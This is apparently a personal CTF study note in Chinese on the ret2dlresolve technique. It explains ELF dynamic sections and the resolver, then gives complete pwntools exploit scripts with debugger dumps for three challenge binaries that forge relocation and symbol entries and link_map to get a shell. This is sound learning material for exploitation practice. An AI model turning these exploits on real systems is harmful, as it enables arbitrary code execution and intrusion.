re2dlresolve

1原理

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/ wiki

https://blog.csdn.net/qq_51868336/article/details/114644569 这个放了源码 还有x64PartialRELRO的

https://zhuanlan.zhihu.com/p/37572651 这个更好理解一些

https://blog.csdn.net/Morphy_Amo/article/details/124121269

Partial RELRO的需要伪造 reloc_arg ,r_info , st_name , str
NO RELRO的利用

  • 算了 还是自己记录下吧 虽然佬们讲得都很好 但是还是梳理一下更清楚

  • 最基本的需要知道延迟绑定技术
    然后ret2dlresolve主要关注的就是第一次调用时的解析真实地址的过程
    image-20231207203330003

    大概是这样一个过程

    • step3那 push 0是该函数在rel.plt上的偏移,reloc_arg;然后jmp到plt[0]的位置
    • step3 step4相当于执行了_dl_runtime_resolve(link_map,reloc_arg)
  • elf中的.dynamic节:包含一些关于动态链接的关键信息,这里需要用到的就三个

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    LOAD:08049F0C                               ; ELF Dynamic Information
    LOAD:08049F0C ; ===========================================================================
    LOAD:08049F0C
    LOAD:08049F0C ; Segment type: Pure data
    LOAD:08049F0C ; Segment permissions: Read/Write
    LOAD:08049F0C LOAD segment mempage public 'DATA' use32
    LOAD:08049F0C assume cs:LOAD
    LOAD:08049F0C ;org 8049F0Ch
    LOAD:08049F0C 01 00 00 00 01 00 00 00 _DYNAMIC Elf32_Dyn <1, <1>> ; DATA XREF: LOAD:080480BC↑o
    LOAD:08049F0C ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
    LOAD:08049F0C ; DT_NEEDED libc.so.6
    LOAD:08049F14 0C 00 00 00 4C 83 04 08 Elf32_Dyn <0Ch, <804834Ch>> ; DT_INIT
    LOAD:08049F1C 0D 00 00 00 34 86 04 08 Elf32_Dyn <0Dh, <8048634h>> ; DT_FINI
    LOAD:08049F24 19 00 00 00 04 9F 04 08 Elf32_Dyn <19h, <8049F04h>> ; DT_INIT_ARRAY
    LOAD:08049F2C 1B 00 00 00 04 00 00 00 Elf32_Dyn <1Bh, <4>> ; DT_INIT_ARRAYSZ
    LOAD:08049F34 1A 00 00 00 08 9F 04 08 Elf32_Dyn <1Ah, <8049F08h>> ; DT_FINI_ARRAY
    LOAD:08049F3C 1C 00 00 00 04 00 00 00 Elf32_Dyn <1Ch, <4>> ; DT_FINI_ARRAYSZ
    LOAD:08049F44 F5 FE FF 6F AC 81 04 08 Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
    # 指向.dynstr节的指针
    LOAD:08049F4C 05 00 00 00 6C 82 04 08 Elf32_Dyn <5, <804826Ch>> ; DT_STRTAB
    # 指向.dynsym节的指针
    LOAD:08049F54 06 00 00 00 CC 81 04 08 Elf32_Dyn <6, <80481CCh>> ; DT_SYMTAB
    LOAD:08049F5C 0A 00 00 00 6B 00 00 00 Elf32_Dyn <0Ah, <6Bh>> ; DT_STRSZ
    LOAD:08049F64 0B 00 00 00 10 00 00 00 Elf32_Dyn <0Bh, <10h>> ; DT_SYMENT
    LOAD:08049F6C 15 00 00 00 00 00 00 00 Elf32_Dyn <15h, <0>> ; DT_DEBUG
    LOAD:08049F74 03 00 00 00 00 A0 04 08 Elf32_Dyn <3, <804A000h>> ; DT_PLTGOT
    LOAD:08049F7C 02 00 00 00 28 00 00 00 Elf32_Dyn <2, <28h>> ; DT_PLTRELSZ
    LOAD:08049F84 14 00 00 00 11 00 00 00 Elf32_Dyn <14h, <11h>> ; DT_PLTREL
    # 指向.rel.plt的指针
    LOAD:08049F8C 17 00 00 00 24 83 04 08 Elf32_Dyn <17h, <8048324h>> ; DT_JMPREL
    LOAD:08049F94 11 00 00 00 0C 83 04 08 Elf32_Dyn <11h, <804830Ch>> ; DT_REL
    LOAD:08049F9C 12 00 00 00 18 00 00 00 Elf32_Dyn <12h, <18h>> ; DT_RELSZ
    LOAD:08049FA4 13 00 00 00 08 00 00 00 Elf32_Dyn <13h, <8>> ; DT_RELENT
    LOAD:08049FAC FE FF FF 6F EC 82 04 08 Elf32_Dyn <6FFFFFFEh, <80482ECh>> ; DT_VERNEED
    LOAD:08049FB4 FF FF FF 6F 01 00 00 00 Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM
    LOAD:08049FBC F0 FF FF 6F D8 82 04 08 Elf32_Dyn <6FFFFFF0h, <80482D8h>> ; DT_VERSYM
    LOAD:08049FC4 00 00 00 00 00 00 00 00 Elf32_Dyn <0> ; DT_NULL
    • .dynstr节:字符串表

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      LOAD:0804826C                               ; ELF String Table
      LOAD:0804826C 00 byte_804826C db 0 ; DATA XREF: LOAD:080481DC↑o
      LOAD:0804826C ; LOAD:0804825C↑o
      LOAD:0804826C ; LOAD:080482FC↓o
      LOAD:0804826D 6C 69 62 63 2E 73 6F 2E 36 00 aLibcSo6 db 'libc.so.6',0 <--以0结尾 ; DATA XREF: LOAD:080482EC↓o
      LOAD:08048277 5F 49 4F 5F 73 74 64 69 6E 5F+aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:0804825C↑o
      LOAD:08048286 73 74 64 69 6E 00 aStdin db 'stdin',0 ; DATA XREF: LOAD:0804823C↑o
      LOAD:0804828C 73 74 72 6C 65 6E 00 aStrlen db 'strlen',0 ; DATA XREF: LOAD:0804820C↑o
      LOAD:08048293 72 65 61 64 00 aRead db 'read',0 ; DATA XREF: LOAD:080481EC↑o
      LOAD:08048298 73 74 64 6F 75 74 00 aStdout db 'stdout',0 ; DATA XREF: LOAD:0804824C↑o
      LOAD:0804829F 73 65 74 62 75 66 00 aSetbuf db 'setbuf',0 ; DATA XREF: LOAD:080481DC↑o
      LOAD:080482A6 5F 5F 6C 69 62 63 5F 73 74 61+aLibcStartMain db '__libc_start_main',0 ; DATA XREF: LOAD:0804821C↑o
      LOAD:080482B8 77 72 69 74 65 00 aWrite db 'write',0 ; DATA XREF: LOAD:0804822C↑o
      LOAD:080482BE 47 4C 49 42 43 5F 32 2E 30 00 aGlibc20 db 'GLIBC_2.0',0 ; DATA XREF: LOAD:080482FC↓o
      LOAD:080482C8 5F 5F 67 6D 6F 6E 5F 73 74 61+aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:080481FC↑o
    • .dynsym节:符号表(结构体数组),里面记录了各种符号的信息 这里我把setbuf符号展开了 具体结构看下面的结构体

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      LOAD:080481CC                               ; ELF Symbol Table
      LOAD:080481CC 00 00 00 00 00 00 00 00 00 00+Elf32_Sym <0>
      LOAD:080481DC 33 00 00 00 00 00 00 00 00 00+dd offset aSetbuf - offset byte_804826C ; st_name ; "setbuf"
      LOAD:080481DC 00 00 12 00 00 00 dd 0 ; st_value
      LOAD:080481DC dd 0 ; st_size
      LOAD:080481DC db 12h ; st_info
      LOAD:080481DC db 0 ; st_other
      LOAD:080481DC dw 0 ; st_shndx
      LOAD:080481EC 27 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aRead - offset byte_804826C, 0, 0, 12h, 0, 0> ; "read"
      LOAD:080481FC 5C 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aGmonStart - offset byte_804826C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
      LOAD:0804820C 20 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aStrlen - offset byte_804826C, 0, 0, 12h, 0, 0> ; "strlen"
      LOAD:0804821C 3A 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aLibcStartMain - offset byte_804826C, 0, 0, 12h, 0, 0> ; "__libc_start_main"
      LOAD:0804822C 4C 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aWrite - offset byte_804826C, 0, 0, 12h, 0, 0> ; "write"
      LOAD:0804823C 1A 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aStdin - offset byte_804826C, 0, 0, 11h, 0, 0> ; "stdin"
      LOAD:0804824C 2C 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aStdout - offset byte_804826C, 0, 0, 11h, 0, 0> ; "stdout"
      LOAD:0804825C 0B 00 00 00 4C 86 04 08 04 00+Elf32_Sym <offset aIoStdinUsed - offset byte_804826C, offset _IO_stdin_used, 4, 11h, 0, 10h> ; "_IO_stdin_used"
      LOAD:0804826C ; ELF String Table
      1
      2
      3
      4
      5
      6
      7
      8
      9
      typedef struct
      {
      Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
      Elf32_Addr st_value;
      Elf32_Word st_size;
      unsigned char st_info; //对于导入函数符号而言,它是0x12
      unsigned char st_other;
      Elf32_Section st_shndx;
      }Elf32_Sym; //对于导入函数符号而言,其他字段都是0
    • .rel.plt节:重定位表

      1
      2
      3
      4
      5
      6
      LOAD:08048324 0C A0 04 08 07 01 00 00       dd 804A00Ch                             ; r_offset ; R_386_JMP_SLOT setbuf
      LOAD:08048324 dd 107h ; r_info
      LOAD:0804832C 10 A0 04 08 07 02 00 00 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT read
      LOAD:08048334 14 A0 04 08 07 04 00 00 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT strlen
      LOAD:0804833C 18 A0 04 08 07 05 00 00 Elf32_Rel <804A018h, 507h> ; R_386_JMP_SLOT __libc_start_main
      LOAD:08048344 1C A0 04 08 07 06 00 00 Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write
      1
      2
      3
      4
      5
      6
      7
      8
      typedef struct
      {
      Elf32_Addr r_offset; //指向GOT表的指针
      Elf32_Word r_info;
      //一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
      //1和3是这个导入函数的符号在.dynsym中的下标,
      //如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
      } Elf32_Rel;
  • 上面说到_dl_runtime_resolve(link_map,reloc_arg)的link_map包含了.dynamic的指针,通过link_map可以访问到.dynamic节;reloc_arg是当前要调用的导入函数在.rel.plt中的偏移(不过64位的话就直接是index下标)

  • dl_runtime_resolve会

    1. link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
    2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
    3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
    4. .dynstr + sym->st_name得出符号名字符串指针
    5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
    6. 调用这个函数

2 利用原因

  • 没有输出函数的时候就没法泄露地址 这个时候就可用dl_resolve

3 利用方法

3.1NORELRO:dynaic节可修改

因为ret2dl-resolve会从.dynamic里面拿.dynstr字符串表的指针,然后加上offset取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够篡改这个指针到一块我们能够操纵的内存空间,当resolve的时候,就能resolve成我们所指定的任意库函数。

也就是伪造Elf32_Rel和Elf32_Sym就可

64位NORELRO 堆 –rctf2018_rnote4
  • 没有任何输出函数 运行有点难受的 正因为没有输出 用dl_resolve将free改成system

  • #coding:utf8
    from pwn import *
     
    # sh = process('./RNote4')
    sh = remote("node4.buuoj.cn", 29228)
    elf = ELF('./RNote4')
    free_got = elf.got['free']
    free_plt = 0x0000000000400626
    #在NO relro的情况下伪造dynstr即可解析任意函数
    fake_dynstr_addr = 0x00000000006020D0 + 0x100
    fake_dynstr = '\x00'*0x5F + 'system\x00'	# 0x5F=0x457-0x3f8 free改为system
    fake_dynstr = fake_dynstr.ljust(0x73,'\x00')	# 0x73=0x46b-0x3f8
    fake_dynstr += 'GLIBC_2.4\x00GLIBC_2.2.5\x00'	# 也可以不写 反正一样
    dt_strtab = 0x0000000000601EB0
     
    def add(size,content):
       sh.send(p8(1))
       sh.send(p8(size))
       sh.send(content)
     
    def edit(index,size,content):
       sh.send(p8(2))
       sh.send(p8(index))
       sh.send(p8(size))
       sh.send(content)
     
    def delete(index):
       sh.send(p8(3))
       sh.send(p8(index))
     
    add(0x20,'a'*0x20) #0
    add(0x80,'b'*0x80) #1
    add(0x20,'/bin/sh\x00/bin/sh\x00'.ljust(0x20,'\x00')) #2
     
    payload = b'a'*0x20 + p64(0) + p64(0x21) + p64(0x80) + p64(fake_dynstr_addr)
    edit(0,0x40,payload)
    #伪造dynstr
    edit(1,len(fake_dynstr),fake_dynstr)
    
    payload = b'a'*0x20 + p64(0) + p64(0x21) + p64(0x80) + p64(dt_strtab)
    edit(0,0x40,payload)
    #修改dynstr指针 即.dynamic的字符串表指针
    edit(1,0x8,p64(fake_dynstr_addr))
    
    # 这里应该是将free_got中存的改成plt表 也就是不只是第一次调用 每次调用都会触发解析 dlresolve都会执行
    # 这个exp中因为是第一次调用 所以不写这些也能成功getshell
    payload = b'a'*0x20 + p64(0) + p64(0x21) + p64(0x80) + p64(free_got)
    edit(0,0x40,payload)
    #修改dynstr指针
    edit(1,0x8,p64(free_plt))
    #getshell
    delete(2)
     
    sh.interactive()
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22

    ```asm
    LOAD:00000000004003F8 ; ELF String Table
    LOAD:00000000004003F8 00 byte_4003F8 db 0 ; DATA XREF: LOAD:00000000004002D8↑o
    LOAD:00000000004003F8 ; LOAD:00000000004004A0↓o
    LOAD:00000000004003F8 ;
    LOAD:00000000004003F9 6C 69 62 63 2E 73 6F 2E 36 00 aLibcSo6 db 'libc.so.6',0 ; DATA XREF: LOAD:00000000004004A0↓o
    LOAD:0000000000400403 65 78 69 74 00 aExit db 'exit',0 ; DATA XREF: LOAD:00000000004003C8↑o
    LOAD:0000000000400408 5F 5F 73 74 61 63 6B 5F 63 68+aStackChkFail db '__stack_chk_fail',0 ; DATA XREF: LOAD:00000000004002F0↑o
    LOAD:0000000000400419 73 74 64 69 6E 00 aStdin db 'stdin',0 ; DATA XREF: LOAD:00000000004003E0↑o
    LOAD:000000000040041F 63 61 6C 6C 6F 63 00 aCalloc db 'calloc',0 ; DATA XREF: LOAD:0000000000400368↑o
    LOAD:0000000000400426 6D 65 6D 73 65 74 00 aMemset db 'memset',0 ; DATA XREF: LOAD:0000000000400308↑o
    LOAD:000000000040042D 72 65 61 64 00 aRead db 'read',0 ; DATA XREF: LOAD:0000000000400338↑o
    LOAD:0000000000400432 61 6C 61 72 6D 00 aAlarm db 'alarm',0 ; DATA XREF: LOAD:0000000000400320↑o
    LOAD:0000000000400438 61 74 6F 69 00 aAtoi db 'atoi',0 ; DATA XREF: LOAD:00000000004003B0↑o
    LOAD:000000000040043D 73 65 74 76 62 75 66 00 aSetvbuf db 'setvbuf',0 ; DATA XREF: LOAD:0000000000400398↑o
    LOAD:0000000000400445 5F 5F 6C 69 62 63 5F 73 74 61+aLibcStartMain db '__libc_start_main',0 ; DATA XREF: LOAD:0000000000400350↑o
    LOAD:0000000000400457 66 72 65 65 00 aFree db 'free',0 ; DATA XREF: LOAD:00000000004002D8↑o
    LOAD:000000000040045C 5F 5F 67 6D 6F 6E 5F 73 74 61+aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:0000000000400380↑o
    LOAD:000000000040046B 47 4C 49 42 43 5F 32 2E 34 00 aGlibc24 db 'GLIBC_2.4',0 ; DATA XREF: LOAD:00000000004004B0↓o
    LOAD:0000000000400475 47 4C 49 42 43 5F 32 2E 32 2E+aGlibc225 db 'GLIBC_2.2.5',0 ; DATA XREF: LOAD:00000000004004C0↓o
    LOAD:0000000000400481 00 align 2
    * 但是打本地不出flag 换成Ubuntu18.04的就可以啦 好好好 又是libc版本的问题 但我看了换的版本是对的啊 mad 没换版本就能通 嗷是在本地找不到对应2.27的libc是吗可能
  • 相当于是只修改了第4步的.dynstr 其他都是free函数的

    1. link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
    2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
    3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
    4. .dynstr + sym->st_name得出符号名字符串指针
    5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
    6. 调用这个函数
  • 然后还有个注意的点是输入op size的时候都是1字节 所以发的形式

_dl_runtime_resolve在第二步时.rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel

这个时候,_dl_runtime_resolve并没有检查.rel.plt + 第二个参数后是否造成越界访问,所以我们能给一个很大的.rel.plt的offset(64位的话就是下标),然后使得加上去之后的地址指向我们所能操纵的一块内存空间,比方说.bss

然后第三步rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym

所以在我们所伪造的Elf32_Rel,需要放一个r_info字段,大概长这样就行0xXXXXXX07,其中XXXXXX是相对.dynsym表的下标,注意不是偏移,所以是偏移除以Elf32_Sym的大小,即除以0x10(32位下)。然后这里同样也没有进行越界访问的检查,所以可以用类似的方法,伪造出这个Elf32_Sym。至于为什么是07,因为这是一个导入函数,而导入函数一般都是07,所以写成07就好。

然后第四步.dynstr + sym->st_name得出符号名字符串指针 同样类似,没有进行越界访问检查,所以这个字符串也能够伪造。

构造ROP,跳转到resolve的PLT,push link_map的位置,就是上图所示的这个地方。此时,栈中必须要有已经伪造好的指向伪造的Elf32_Rel的偏移,然后是返回地址(system的话无所谓),再然后是参数(如果是system函数的话就要是指向"/bin/sh\x00"的指针)

32位PartialRELRO–xdctf2015_pwn200
  • 这题也可以用ret2libc

  • 发现师傅们用的pwntools的rop模块 也支持x64

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    from pwn import *
    context.log_level = 'debug'

    elf = ELF('bof')
    sh = process('./bof')
    rop = ROP('./bof')

    offset = 112
    bss_addr = elf.bss() #获取bss段首地址

    sh.recvuntil('Welcome to XDCTF2015~!\n')

    ## 将栈迁移到bss段
    ## 新栈空间大小为0x800
    stack_size = 0x800
    base_stage = bss_addr + stack_size
    ### 填充缓冲区
    rop.raw('a' * offset)
    ### 向新栈中写100个字节
    ##rop.read会自动完成read函数、函数参数、返回地址的栈部署
    rop.read(0, base_stage, 100)
    ### 栈迁移, 设置esp = base_stage
    ##rop.migrate会利用leave_ret自动部署迁移工作
    rop.migrate(base_stage)
    sh.sendline(rop.chain())
    gdb.attach(sh)
    pause()

    # 打印字符串"/bin/sh"
    rop = ROP('./bof')
    BIN = "/bin/sh\x00"##众所周知一般的函数遇到 \0 才会结束读取,所以为了防止system('/bin/shaaaaaaaa....aaaaa')的情况,我们要加上\0
    ## 获取plt0地址
    plt0 = elf.get_section_by_name('.plt').header.sh_addr
    ## 获取.rel.plt地址
    rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
    ## 获得.dynsym地址
    dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
    ## 获得.dynstr地址
    dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
    align = 0x10-(base_stage+32-dynsym)%16
    print(align) # 4
    fake_sym_addr = align + base_stage + 32
    st_name = fake_sym_addr +16 - dynstr # 伪造的地址相对于dynstr的偏移
    st_value=0
    st_size=0
    st_info=0x12
    fake_reloc_arg = base_stage + 24 - rel_plt
    r_offset = elf.got['write']
    index_write = (fake_sym_addr - dynsym)/16 ##注意这里要用地板除,float不能左移
    print(index_write)
    r_info = (int(index_write)<<8)+0x7##利用构造的dyndym地址反推r_info
    print(r_info)
    print(st_name)

    rop.raw(plt0) # 执行plt0就是执行dl_resolve
    # 可以通过plt的地址加上目标函数的offset来调用函数,以如下方式调用write函数
    rop.raw(fake_reloc_arg) # 偏移
    rop.raw('bbbb') #write函数返回地址
    rop.raw(base_stage + 59) # /bin/sh\x00
    rop.raw('aaaa')##事实上因为system只需要一个参数,另外两个都不用写,但为了不破坏原有的布局就填上垃圾数据即可
    rop.raw('aaaa')

    rop.raw(r_offset) ##构造的ELF_REL 伪造write为system
    rop.raw(r_info) # 形式应为[在.dynsym中的indx或者说偏移]07

    rop.raw('a'*align) # .dynsym 每一项的大小都是0x10 伪造.dynsym表项时,需要与.dynsym的起始位置对齐
    rop.raw(st_name) ##构造的.dynsym
    rop.raw(st_value) # 0
    rop.raw(st_size) # 0
    rop.raw(st_info) # 0x12

    rop.raw('system\x00')##伪造的.dynstr
    print("len:rop.chain():")
    print(len(rop.chain()))#长度为58,所以可以在base_stage + 59写上/bin/sh
    rop.raw(BIN)
    rop.raw('a' * (100 - len(rop.chain())))
    sh.sendline(rop.chain())
    sh.interactive()
    • rop.raw(plt0)		# 执行plt0就是执行dl_resolve 
      rop.raw(fake_reloc_arg)	# 偏移
      rop.raw('bbbb') #write函数返回地址
      rop.raw(base_stage + 59) # /bin/sh\x00
      rop.raw('aaaa')##事实上因为system只需要一个参数,另外两个都不用写,但为了不破坏原有的布局就填上垃圾数据即可
      rop.raw('aaaa')
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32

      这里是通过plt的地址加上目标函数的offset来调用write函数 比如我们平常写的rop为`p32(write_plt) + b'bbbb' + p32(1) + p32(addr) + p32(size)` 这里也类似 只是write_plt用plt[0]和偏移来表示

      * 这里的执行过程就是

      > 1. 调用write伪造的system函数-->因为是第一次调用会触发_dl_resolve
      > 2. 用`link_map`访问`.dynamic`,取出`.dynstr`, `.dynsym`, `.rel.plt`的指针,`.rel.plt + fake_reloc_arg`求出当前函数的重定位表项`Elf32_REL`的指针
      > 3. 根据`Elf32_REL`->r_info 求出当前函数的符号表项`Elf32_Sym`的指针,记作`sym`
      > 4. `.dynstr + sym->st_name`得出符号名字符串指针
      > 5. 在动态链接库查找这个函数的地址,并且把地址赋值给`*rel->r_offset`,即GOT表
      > 6. 调用这个函数

      * ```shell
      02:0008│ ecx 0x804a828 —▸ 0xf7f0ca40 ◂— 0x0
      03:000c│ 0x804a82c ◂— 0x251c
      04:00100x804a830 ◂— 0x62626262 ('bbbb')
      05:00140x804a834 —▸ 0x804a863 ◂— '/bin/sh'
      06:00180x804a838 ◂— 0x61616161 ('aaaa')
      07:001c│ 0x804a83c ◂— 0x61616161 ('aaaa')
      08:00200x804a840 —▸ 0x804a01c (write@got[plt]) —▸ 0xf7c48170 (system) ◂— endbr32
      09:00240x804a844 ◂— 0x26807
      0a:00280x804a848 ◂— 0x61616161 ('aaaa')
      0b:002c│ 0x804a84c ◂— 0x25f0
      0c:00300x804a850 ◂— 0x0
      0d:00340x804a854 ◂— 0x0
      0e:00380x804a858 ◂— 0x12
      0f:003c│ 0x804a85c ◂— 'system'
      10:00400x804a860 ◂— 0x2f006d65 /* 'em' */
      11:00440x804a864 ◂— 'bin/sh'
      12:00480x804a868 ◂— 0x61006873 /* 'sh' */
      13:004c│ 0x804a86c ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
      ... ↓ 7 skipped
    • 为啥要迁移:当然是溢出的不够多啊 然后这里的迁移其实还挺不一样的 用了pop_ebp_ret leave_ret两个gadget 但是应该只考栈迁移的并不需要这么构造 到高版本的libc也没有这么多gadget

    • from pwn import *
      
      io = process("./bof")
      context.arch = 'i386'
      elf = ELF("./bof")
      
      pop_esi_edi_ebp_ret = 0x08048629
      leave_ret = 0x08048445
      pop_ebp_ret = 0x0804862b
      
      stack_size = 0x800
      bss_addr = elf.bss() #获取bss段首地址
      base_stage = bss_addr + stack_size
      read_plt = elf.plt['read']
      
      io.recv()
      payload = b'a'*112
      payload += p32(read_plt)
      payload += p32(pop_esi_edi_ebp_ret) + p32(0) + p32(base_stage) + p32(0x500)
      payload += p32(pop_ebp_ret) + p32(base_stage-4) + p32(leave_ret)
      io.sendline(payload)
      
      plt0 = 0x8048370
      rel_plt = 0x8048324
      dynsym = 0x80481cc
      dynstr = 0x804826c
      align = 0x10-(base_stage+32-dynsym)%16
      fake_relloc = base_stage + 24 - rel_plt
      fake_sym_addr = base_stage + align + 32
      
      r_offset = elf.got['write']
      index_write = (fake_sym_addr - dynsym)/16
      r_info = (int(index_write)<<8)+0x7
      
      gdb.attach(io)
      pause()
      st_name = fake_sym_addr + 16 - dynstr
      st_value = 0
      st_size = 0
      st_info = 0x12
      payload2 = p32(plt0) + p32(fake_relloc)
      payload2 += b'aaaa' + p32(base_stage+59) + b'aaaa' + b'aaaa'
      payload2 += p32(r_offset) + p32(r_info)
      payload2 += b'a'*align + p32(st_name) + p32(st_value) + p32(st_size) + p32(st_info)
      payload2 += b'system\0' + b'/bin/sh\x00'
      io.sendline(payload2)
      
      io.interactive()
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64

      * 但stack_size得是0x800-990之间大概 可能太小和太大了导致迁移的位置有点问题(猜的

      ###### 64位PatialRELRO--geek_challenge2023-why_n0t_puts

      * >vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下`reloc->r_info`比较大,故程序会发生错误
      >
      >需要控制 **link_map** 中的**l_addr**和 **sym**中的**st_value**

      * ```python
      from pwn import *
      context.arch='amd64'
      context.log_level = 'debug'
      io=process("./why_n0t_puts")
      elf=ELF("./why_n0t_puts")
      # libc=elf.libc
      libc = ELF("./libc.so.6")

      def create_link_map(l_addr,know_got,link_map_addr):
      link_map=p64(l_addr & (2 ** 64 - 1)) # offset是负的 所以作了处理
      # DT_JMPREL
      link_map+=p64(0)
      link_map+=p64(link_map_addr+0x18)
      #ptr2relplt
      link_map+=p64((know_got - l_addr)&(2**64-1)) #r_offset 因为是负数所以用了-?
      link_map+=p64(0x7) # r_info 只会检查最低位
      link_map+=p64(0) # r_addend
      #dyn_symtab
      link_map+=p64(0) #
      link_map+=p64(know_got-0x8) # sym表首地址
      link_map+=b'/bin/sh\x00'

      link_map=link_map.ljust(0x68,b'B')
      link_map+=p64(link_map_addr) # 字符串表指针的指针,随便写个地址就行,反正用不到
      link_map+=p64(link_map_addr+0x30) # DT_SYMTAB在 DYNAMIC中对应的结构的地址
      link_map=link_map.ljust(0xf8,b'C')
      link_map+=p64(link_map_addr+0x8) # relplt_addr
      return link_map

      rdi=0x4011d3
      rsi_r15=0x4011d1
      fake_link_map_addr = elf.bss() + 0x200
      # fake_link_map_addr=0x404800
      data=0x404500
      sh=fake_link_map_addr+0x40
      call = 0x401026 # 调用dlresolve

      offset=libc.symbols['system']-libc.symbols['read']
      fake_link_map=create_link_map(offset,elf.got['read'],fake_link_map_addr)
      print(len(fake_link_map))
      payload = b'a'*0x38
      payload += p64(rdi)+p64(0)
      payload += p64(rsi_r15)+p64(fake_link_map_addr)+p64(0)
      payload += p64(rsi_r15)+p64(fake_link_map_addr)+p64(0) # 栈16字节对齐,不然调用不了system
      payload += p64(elf.plt['read'])
      payload += p64(rdi)+p64(sh)
      payload += p64(call)+p64(fake_link_map_addr)+p64(0) # 调用dlresolve 传入link_map和索引
      io.send(payload)

      # gdb.attach(io)
      # pause()
      io.send(fake_link_map)

      io.interactive()
  • pwndbg> tele 0x404230
    00:0000│ rsi 0x404230 ◂— 0xfffffffffff442d0
    01:0008│     0x404238 ◂— 0x0
    02:0010│     0x404240 —▸ 0x404248 ◂— 0x4bfd48
    03:0018│     0x404248 ◂— 0x4bfd48
    04:0020│     0x404250 ◂— 0x7
    05:0028│     0x404258 ◂— 0x0
    06:0030│     0x404260 ◂— 0x0
    07:0038│     0x404268 —▸ 0x404010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7fdc33f7fd30 (_dl_runtime_resolve_xsavec) ◂— endbr64 
    pwndbg> tele 0x404230 40
    00:0000│ rsi 0x404230 ◂— 0xfffffffffff442d0
    01:0008│     0x404238 ◂— 0x0
    02:0010│     0x404240 —▸ 0x404248 ◂— 0x4bfd48
    03:0018│     0x404248 ◂— 0x4bfd48
    04:0020│     0x404250 ◂— 0x7
    05:0028│     0x404258 ◂— 0x0
    06:0030│     0x404260 ◂— 0x0
    07:0038│     0x404268 —▸ 0x404010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7fdc33f7fd30 (_dl_runtime_resolve_xsavec) ◂— endbr64 
    08:0040│     0x404270 ◂— 0x68732f6e69622f /* '/bin/sh' */
    09:0048│     0x404278 ◂— 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0B@'
    ... ↓        3 skipped
    0d:0068│     0x404298 —▸ 0x404230 ◂— 0xfffffffffff442d0
    0e:0070│     0x4042a0 —▸ 0x404260 ◂— 0x0
